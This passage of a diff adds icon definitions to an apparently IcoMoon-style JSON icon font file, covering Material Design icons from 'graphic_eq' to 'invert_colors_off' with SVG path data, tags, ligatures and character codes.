"setIdx": 2, + "setId": 2, + "iconIdx": 364 + }, + { + "icon": { + "paths": [ + "M810 426h86v172h-86v-172zM640 768v-512h86v512h-86zM128 598v-172h86v172h-86zM470 938v-852h84v852h-84zM298 768v-512h86v512h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "graphic_eq" + ], + "defaultCode": 57784, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "graphic_eq", + "id": 365, + "order": 376, + "prevSize": 24, + "code": 57784, + "name": "graphic_eq" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 365 + }, + { + "icon": { + "paths": [ + "M682 854h62l-62-62v62zM598 854v-148l-24-24h-148v172h172zM342 598v-148l-24-24h-148v172h172zM342 854v-172h-172v172h172zM170 280v62h62zM426 536v62h62zM54 54l916 916-54 54-86-86h-660c-46 0-84-38-84-84v-660l-86-86zM682 170v172h172v-172h-172zM342 170h-62l-86-84h660c46 0 84 38 84 84v660l-84-86v-62h-62l-86-84h148v-172h-172v148l-84-86v-62h-62l-86-84h148v-172h-172v148l-84-86v-62z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "grid_off" + ], + "defaultCode": 58347, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "grid_off", + "id": 366, + "order": 377, + "prevSize": 24, + "code": 58347, + "name": "grid_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 366 + }, + { + "icon": { + "paths": [ + "M854 342v-172h-172v172h172zM854 598v-172h-172v172h172zM854 854v-172h-172v172h172zM598 342v-172h-172v172h172zM598 598v-172h-172v172h172zM598 854v-172h-172v172h172zM342 342v-172h-172v172h172zM342 598v-172h-172v172h172zM342 854v-172h-172v172h172zM854 86c46 0 84 38 84 84v684c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-684c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "grid_on" + ], + "defaultCode": 58348, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "grid_on", + "id": 367, + "order": 378, + "prevSize": 24, + "code": 58348, + "name": "grid_on" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 367 + }, + { + "icon": { + "paths": [ + "M682 554c100 0 300 50 300 150v106h-256v-106c0-64-34-112-84-148 14-2 28-2 40-2zM342 554c100 0 298 50 298 150v106h-598v-106c0-100 200-150 300-150zM342 470c-70 0-128-58-128-128s58-128 128-128 126 58 126 128-56 128-126 128zM682 470c-70 0-128-58-128-128s58-128 128-128 128 58 128 128-58 128-128 128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "people" + ], + "defaultCode": 59387, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "group, people", + "id": 368, + "order": 379, + "prevSize": 24, + "code": 59387, + "name": "people" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 368 + }, + { + "icon": { + "paths": [ + "M554 554c86 0 256 42 256 128v86h-512v-86c0-86 170-128 256-128zM838 562c86 14 186 54 186 120v86h-128v-86c0-50-22-88-58-120zM554 470c-70 0-128-58-128-128s58-128 128-128 128 58 128 128-58 128-128 128zM768 470c-14 0-26-2-38-6 24-34 38-76 38-122s-14-88-38-122c12-4 24-6 38-6 70 0 128 58 128 128s-58 128-128 128zM342 426v86h-128v128h-86v-128h-128v-86h128v-128h86v128h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "group_add" + ], + "defaultCode": 59376, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "group_add", + "id": 369, + "order": 380, + "prevSize": 24, + "code": 59376, + "name": "group_add" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 369 + }, + { + "icon": { + "paths": [ + "M682 746c58 0 108-48 108-106s-50-106-108-106-106 48-106 106 48 106 106 106zM406 342c0 58 48 106 106 106s106-48 106-106-48-108-106-108-106 50-106 108zM342 746c58 0 106-48 106-106s-48-106-106-106-108 48-108 106 50 106 108 106zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "group_work" + ], + "defaultCode": 59526, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "group_work", + "id": 370, + "order": 381, + "prevSize": 24, + "code": 59526, + "name": "group_work" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 370 + }, + { + "icon": { + "paths": [ + "M618 576v-128h86v128h-86zM554 384v256h172c24 0 42-18 42-42v-172c0-24-18-42-42-42h-172zM470 640v-256h-64v106h-86v-106h-64v256h64v-86h86v86h64zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hd" + ], + "defaultCode": 57426, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "hd", + "id": 371, + "order": 382, + "prevSize": 24, + "code": 57426, + "name": "hd" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 371 + }, + { + "icon": { + "paths": [ + "M106 106c270.848 271.818 543.632 541.7 816 812l-48 46-324-324h-144v-146l-64-64v210h-64v-106h-86v106h-64v-256h64v86h86v-86h16l-234-234zM554 448h-16l-64-64h80c34 0 64 30 64 64v82l-64-64v-18zM746 448v42h86v-42h-86zM746 640h-16l-48-46v-210h150c34 0 64 30 64 64v42c0 26-16 52-38 60l38 90h-64l-38-86h-48v86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hdr_off" + ], + "defaultCode": 58349, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "hdr_off", + "id": 372, + "order": 383, + "prevSize": 24, + "code": 58349, + "name": "hdr_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 372 + }, + { + "icon": { + "paths": [ + "M554 576v-128h-84v128h84zM554 384c34 0 64 30 64 64v128c0 34-30 64-64 64h-148v-256h148zM278 470v-86h64v256h-64v-106h-86v106h-64v-256h64v86h86zM832 490v-42h-86v42h86zM896 490c0 26-16 48-38 60l38 90h-64l-38-86h-48v86h-64v-256h150c34 0 64 30 64 64v42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hdr_on" + ], + "defaultCode": 58350, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "hdr_on", + "id": 373, + "order": 384, + "prevSize": 24, + "code": 58350, + "name": "hdr_on" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 373 + }, + { + "icon": { + "paths": [ + "M214 598c46 0 84-40 84-86s-38-86-84-86-86 40-86 86 40 86 86 86zM214 342c94 0 170 76 170 170s-76 170-170 170-172-76-172-170 78-170 172-170zM726 256c142 0 256 114 256 256s-114 256-256 256-256-114-256-256 114-256 256-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hdr_strong" + ], + "defaultCode": 58353, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "hdr_strong", + "id": 374, + "order": 385, + "prevSize": 24, + "code": 58353, + "name": "hdr_strong" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 374 + }, + { + "icon": { + "paths": [ + "M726 682c94 0 170-76 170-170s-76-170-170-170-172 76-172 170 78 170 172 170zM726 256c142 0 256 114 256 256s-114 256-256 256-256-114-256-256 114-256 256-256zM214 342c94 0 170 76 170 170s-76 170-170 170-172-76-172-170 78-170 172-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hdr_weak" + ], + "defaultCode": 58354, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "hdr_weak", + "id": 375, + "order": 386, + "prevSize": 24, + "code": 58354, + "name": "hdr_weak" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 375 + }, + { + "icon": { + "paths": [ + "M512 42c212 0 384 172 384 384v300c0 70-58 128-128 128h-128v-342h170v-86c0-166-132-298-298-298s-298 132-298 298v86h170v342h-128c-70 0-128-58-128-128v-300c0-212 172-384 384-384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "headset" + ], + "defaultCode": 58128, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "headset", + "id": 376, + "order": 387, + "prevSize": 24, + "code": 58128, + "name": "headset" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 376 + }, + { + "icon": { + "paths": [ + "M512 42c212 0 384 172 384 384v428c0 70-58 128-128 128h-256v-86h298v-42h-170v-342h170v-86c0-166-132-298-298-298s-298 132-298 298v86h170v342h-128c-70 0-128-58-128-128v-300c0-212 172-384 384-384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "headset_mic" + ], + "defaultCode": 58129, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "headset_mic", + "id": 377, + "order": 388, + "prevSize": 24, + "code": 58129, + "name": "headset_mic" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 377 + }, + { + "icon": { + "paths": [ + "M710 868l156-156-156-154-154 156zM598 470c-24 0-44 18-44 42s20 42 44 42 42-18 42-42-18-42-42-42zM512 640c24 0 42-18 42-42s-18-44-42-44-42 20-42 44 18 42 42 42zM426 554c24 0 44-18 44-42s-20-42-44-42-42 18-42 42 18 42 42 42zM312 468l154-156-154-154-156 156zM512 384c-24 0-42 18-42 42s18 44 42 44 42-20 42-44-18-42-42-42zM756 512l170 170c16 16 16 44 0 60l-184 186c-8 8-18 12-30 12s-24-4-32-12l-168-170-170 170c-16 16-44 16-60 0l-186-186c-16-16-16-44 0-60l170-170-170-168c-16-16-16-46 0-62l186-184c8-8 20-12 30-12 12 0 22 4 30 12l170 170 168-170c16-16 46-16 62 0l184 184c16 16 16 46 0 62z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "healing" + ], + "defaultCode": 58355, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "healing", + "id": 378, + "order": 389, + "prevSize": 24, + "code": 58355, + "name": "healing" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 378 + }, + { + "icon": { + "paths": [ + "M490 384c0-58 50-106 108-106s106 48 106 106-48 106-106 106-108-48-108-106zM326 112c-70 70-112 166-112 272s42 202 112 272l-60 60c-84-84-138-202-138-332s54-248 138-332zM726 854c46 0 84-40 84-86h86c0 94-76 170-170 170-24 0-48-4-70-14-58-30-92-74-118-152-14-42-38-62-72-88-38-28-84-64-122-134-30-54-46-112-46-166 0-168 132-298 300-298s298 130 298 298h-86c0-120-92-214-212-214s-214 94-214 214c0 40 12 86 34 126 30 56 66 82 100 108 40 30 80 62 102 128 22 64 42 84 72 100 8 4 22 8 34 8z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hearing" + ], + "defaultCode": 57379, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "hearing", + "id": 379, + "order": 390, + "prevSize": 24, + "code": 57379, + "name": "hearing" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 379 + }, + { + "icon": { + "paths": [ + "M642 480c24-24 40-58 40-96 0-94-76-170-170-170s-170 76-170 170h84c0-46 40-86 86-86s86 40 86 86c0 24-10 44-26 60l-52 54c-30 32-50 74-50 120v22h84c0-64 20-88 50-120zM554 810v-84h-84v84h84zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "help" + ], + "defaultCode": 59527, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "help", + "id": 380, + "order": 391, + "prevSize": 24, + "code": 59527, + "name": "help" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 380 + }, + { + "icon": { + "paths": [ + "M512 256c94 0 170 76 170 170 0 106-128 118-128 214h-84c0-138 128-128 128-214 0-46-40-84-86-84s-86 38-86 84h-84c0-94 76-170 170-170zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM470 768v-86h84v86h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "help_outline" + ], + "defaultCode": 59645, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "help_outline", + "id": 381, + "order": 392, + "prevSize": 24, + "code": 59645, + "name": "help_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 381 + }, + { + "icon": { + "paths": [ + "M618 576v-128h86v128h-86zM768 598v-172c0-24-18-42-42-42h-128c-24 0-44 18-44 42v172c0 24 20 42 44 42h32v64h64v-64h32c24 0 42-18 42-42zM470 640v-256h-64v106h-86v-106h-64v256h64v-86h86v86h64zM810 170c46 0 86 40 86 86v512c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-512c0-46 38-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "high_quality" + ], + "defaultCode": 57380, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "high_quality", + "id": 382, + "order": 393, + "prevSize": 24, + "code": 57380, + "name": "high_quality" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 382 + }, + { + "icon": { + "paths": [ + "M724 280l90-90 60 60-90 92zM150 250l60-60 90 90-60 62zM470 86h84v128h-84v-128zM256 598v-214h512v214l-128 128v212h-256v-212z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "highlight" + ], + "defaultCode": 57951, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "highlight", + "id": 383, + "order": 394, + "prevSize": 24, + "code": 57951, + "name": "highlight" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 383 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM622 342l60 60-110 110 110 110-60 60-110-110-110 110-60-60 110-110-110-110 60-60 110 110z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "highlight_off" + ], + "defaultCode": 59528, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "highlight_off", + "id": 384, + "order": 395, + "prevSize": 24, + "code": 59528, + "name": "highlight_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 384 + }, + { + "icon": { + "paths": [ + "M512 342h64v180l150 90-32 52-182-110v-212zM554 128c212 0 384 172 384 384s-172 384-384 384c-106 0-200-42-270-112l60-62c54 54 128 88 210 88 166 0 300-132 300-298s-134-298-300-298-298 132-298 298h128l-172 172-4-6-166-166h128c0-212 172-384 384-384z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "restore" + ], + "defaultCode": 59571, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "history, restore", + "id": 385, + "order": 396, + "prevSize": 24, + "code": 59571, + "name": "restore" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 385 + }, + { + "icon": { + "paths": [ + "M426 854h-212v-342h-128l426-384 426 384h-128v342h-212v-256h-172v256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "home" + ], + "defaultCode": 59530, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "home", + "id": 386, + "order": 397, + "prevSize": 24, + "code": 59530, + "name": "home2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 386 + }, + { + "icon": { + "paths": [ + "M626 250c44 42 62 100 54 158l-2 18h-82l6-24c6.113-34.638-6.812-70.812-32-96-44-44-64-102-56-160l2-18h82l-4 26c-6 34 4 68 28 94zM796 250c44 42 64 100 56 158l-4 18h-80l4-24c6-34-4-68-28-94l-4-2c-44-44-64-102-56-160l4-18h80l-4 26c-6 34 4 68 28 94zM810 854v-256h-84v256h84zM640 854v-256h-86v256h86zM470 854v-256h-86v256h86zM298 854v-256h-84v256h84zM476 512h462v342c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-342h128v-32c0-52 44-96 96-96 30.769 0 56.308 16.308 72 32l58 66c10 12 22 20 36 30zM214 256c0-48 36-86 84-86s86 38 86 86-38 86-86 86-84-38-84-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hot_tub" + ], + "defaultCode": 60230, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "hot_tub", + "id": 387, + "order": 398, + "prevSize": 24, + "code": 60230, + "name": "hot_tub" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 387 + }, + { + "icon": { + "paths": [ + "M810 298c94 0 172 78 172 172v384h-86v-128h-768v128h-86v-640h86v384h342v-300h340zM298 554c-70 0-128-58-128-128s58-128 128-128 128 58 128 128-58 128-128 128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_hotel" + ], + "defaultCode": 58697, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "hotel, local_hotel", + "id": 388, + "order": 399, + "prevSize": 24, + "code": 58697, + "name": "local_hotel" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 388 + }, + { + "icon": { + "paths": [ + "M512 490l170-170v-150h-340v150zM682 704l-170-170-170 170v150h340v-150zM256 86h512v256l-170 170 170 170v256h-512v-256l170-170-170-170v-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hourglass_empty" + ], + "defaultCode": 59531, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "hourglass_empty", + "id": 389, + "order": 400, + "prevSize": 24, + "code": 59531, + "name": "hourglass_empty" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 389 + }, + { + "icon": { + "paths": [ + "M256 86h512v256l-170 170 170 170v256h-512v-256l170-170-170-170v-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hourglass_full" + ], + "defaultCode": 59532, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "hourglass_full", + "id": 390, + "order": 401, + "prevSize": 24, + "code": 59532, + "name": "hourglass_full" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 390 + }, + { + "icon": { + "paths": [ + "M918 490v-42h-86v42h86zM918 384c34 0 64 30 64 64v42c0 34-30 64-64 64h-86v86h-64v-256h150zM534 448v-64h192v64h-64v192h-64v-192h-64zM298 448v-64h192v64h-64v192h-64v-192h-64zM192 470v-86h64v256h-64v-106h-86v106h-64v-256h64v86h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "http" + ], + "defaultCode": 59650, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "http", + "id": 391, + "order": 402, + "prevSize": 24, + "code": 59650, + "name": "http" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 391 + }, + { + "icon": { + "paths": [ + "M644 342v-86c0-72-60-132-132-132s-132 60-132 132v86h264zM512 726c46 0 86-40 86-86s-40-86-86-86-86 40-86 86 40 86 86 86zM768 342c46 0 86 38 86 84v428c0 46-40 84-86 84h-512c-46 0-86-38-86-84v-428c0-46 40-84 86-84h42v-86c0-118 96-214 214-214s214 96 214 214v86h42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "lock" + ], + "defaultCode": 59543, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "https, lock", + "id": 392, + "order": 403, + "prevSize": 24, + "code": 59543, + "name": "lock2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 392 + }, + { + "icon": { + "paths": [ + "M362 576l-148 192h596l-192-256-148 192zM896 810c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596c46 0 86 40 86 86v596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "photo" + ], + "defaultCode": 58384, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "image, insert_photo, photo", + "id": 393, + "order": 404, + "prevSize": 24, + "code": 58384, + "name": "photo2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 393 + }, + { + "icon": { + "paths": [ + "M854 768v-512h-684v512h684zM854 170c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h684zM512 426v86h-86v-86h86zM342 426v86h-86v-86h86zM682 598v84h-84v-84h84zM682 426v86h-84v-86h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "image_aspect_ratio" + ], + "defaultCode": 58357, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "image_aspect_ratio", + "id": 394, + "order": 405, + "prevSize": 24, + "code": 58357, + "name": "image_aspect_ratio" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 394 + }, + { + "icon": { + "paths": [ + "M896 790v-492c-46-14-98-20-150-20-72 0-176 28-234 64v490c58-36 162-64 234-64 52 0 104 8 150 22zM746 192c88.409 0 181.498 22.075 236 64v622c0 10-12 22-22 22-4 0-6 0-10-2-60-32-134-44-204-44-72 0-176 28-234 64-62-46-150-64-234-64-62 0-146 18-204 46-4 0-6 2-10 2-10 0-22-10-22-20v-626c62-46 152-64 236-64s172 18 234 64c62-46 150-64 234-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "import_contacts" + ], + "defaultCode": 57568, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "import_contacts", + "id": 395, + "order": 406, + "prevSize": 24, + "code": 57568, + "name": "import_contacts" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 395 + }, + { + "icon": { + "paths": [ + "M682 726h128l-170 170-170-170h128v-300h84v300zM384 128l170 170h-128v300h-84v-300h-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "import_export" + ], + "defaultCode": 57539, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "import_export", + "id": 396, + "order": 407, + "prevSize": 24, + "code": 57539, + "name": "import_export" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 396 + }, + { + "icon": { + "paths": [ + "M510 384h130l-106 76 40 124-104-78-106 78 40-124-106-76h130l42-128zM854 86c46 0 84 36 84 84v214h-84v-214h-768v512h554v86h-86v86h86v84h-342v-84h86v-86h-298c-48 0-86-40-86-86v-512c0-48 38-84 86-84h768zM982 854v-300h-214v300h214zM982 470c24 0 42 18 42 42v384c0 24-18 42-42 42h-214c-24 0-42-18-42-42v-384c0-24 18-42 42-42h214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "important_devices" + ], + "defaultCode": 59666, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "important_devices", + "id": 397, + "order": 408, + "prevSize": 24, + "code": 59666, + "name": "important_devices" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 397 + }, + { + "icon": { + "paths": [ + "M810 640v-426h-598v426h172c0 70 58 128 128 128s128-58 128-128h170zM810 128c46 0 86 38 86 86v596c0 46-40 86-86 86h-598c-48 0-84-40-84-86v-596c0-48 36-86 84-86h598z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "inbox" + ], + "defaultCode": 57686, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "inbox", + "id": 398, + "order": 409, + "prevSize": 24, + "code": 57686, + "name": "inbox2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 398 + }, + { + "icon": { + "paths": [ + "M726 554v-84h-428v84h428zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "indeterminate_check_box" + ], + "defaultCode": 59657, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "indeterminate_check_box", + "id": 399, + "order": 410, + "prevSize": 24, + "code": 59657, + "name": "indeterminate_check_box" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 399 + }, + { + "icon": { + "paths": [ + "M554 384v-86h-84v86h84zM554 726v-256h-84v256h84zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "info" + ], + "defaultCode": 59534, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "info", + "id": 400, + "order": 411, + "prevSize": 24, + "code": 59534, + "name": "info2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 400 + }, + { + "icon": { + "paths": [ + "M470 384v-86h84v86h-84zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM470 726v-256h84v256h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "info_outline" + ], + "defaultCode": 59535, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "info_outline", + "id": 401, + "order": 412, + "prevSize": 24, + "code": 59535, + "name": "info_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 401 + }, + { + "icon": { + "paths": [ + "M470 682v-128h-428v-84h428v-128l170 170zM896 128c46 0 86 38 86 86v598c0 46-40 84-86 84h-768c-46 0-86-38-86-84v-172h86v172h768v-600h-768v172h-86v-170c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "input" + ], + "defaultCode": 59536, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "input", + "id": 402, + "order": 413, + "prevSize": 24, + "code": 59536, + "name": "input" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 402 + }, + { + "icon": { + "paths": [ + "M768 342v-86h-512v86h512zM768 470v-86h-512v86h512zM768 598v-86h-512v86h512zM854 86c46 0 84 38 84 84v768l-170-170h-598c-46 0-84-40-84-86v-512c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "insert_comment" + ], + "defaultCode": 57932, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "insert_comment", + "id": 403, + "order": 414, + "prevSize": 24, + "code": 57932, + "name": "insert_comment" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 403 + }, + { + "icon": { + "paths": [ + "M554 384h236l-236-234v234zM256 86h342l256 256v512c0 46-40 84-86 84h-512c-46 0-86-38-86-84l2-684c0-46 38-84 84-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "insert_drive_file" + ], + "defaultCode": 57933, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "insert_drive_file", + "id": 404, + "order": 415, + "prevSize": 24, + "code": 57933, + "name": "insert_drive_file" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 404 + }, + { + "icon": { + "paths": [ + "M512 746c-100 0-184-60-218-148h436c-34 88-118 148-218 148zM362 470c-36 0-64-28-64-64s28-64 64-64 64 28 64 64-28 64-64 64zM662 470c-36 0-64-28-64-64s28-64 64-64 64 28 64 64-28 64-64 64zM512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tag_faces" + ], + "defaultCode": 58400, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "insert_emoticon, mood, tag_faces", + "id": 405, + "order": 416, + "prevSize": 24, + "code": 58400, + "name": "tag_faces" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 405 + }, + { + "icon": { + "paths": [ + "M726 298c118 0 212 96 212 214s-94 214-212 214h-172v-82h172c72 0 132-60 132-132s-60-132-132-132h-172v-82h172zM342 554v-84h340v84h-340zM166 512c0 72 60 132 132 132h172v82h-172c-118 0-212-96-212-214s94-214 212-214h172v82h-172c-72 0-132 60-132 132z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "link" + ], + "defaultCode": 57687, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "insert_link, link", + "id": 406, + "order": 417, + "prevSize": 24, + "code": 57687, + "name": "link2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 406 + }, + { + "icon": { + "paths": [ + "M512 836v-618l-180 180c-48 48-76 114-76 182 0 137.583 118.4 256 256 256zM754 338c134 134 134 348 0 482-66 66-154 100-242 100s-176-34-242-100c-134-134-134-348 0-482l242-242z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "invert_colors" + ], + "defaultCode": 59537, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "invert_colors", + "id": 407, + "order": 418, + "prevSize": 24, + "code": 59537, + "name": "invert_colors" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 407 + }, + { + "icon": { + "paths": [ + "M512 218l-98 96-60-60 158-158 242 242c104 104 126 258 68 384l-310-308v-196zM512 836v-206l-204-204c-34 44-52 98-52 154 0 137.583 118.4 256 256 256zM882 890l14 16-54 54-116-116c-62 50-138 76-214 76-88 0-176-34-242-100-124-126-132-322-24-456l-118-118 54-54c232.99 232.99 464.706 467.32 700 698z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "invert_colors_off" + ], + "defaultCode": 57540, + 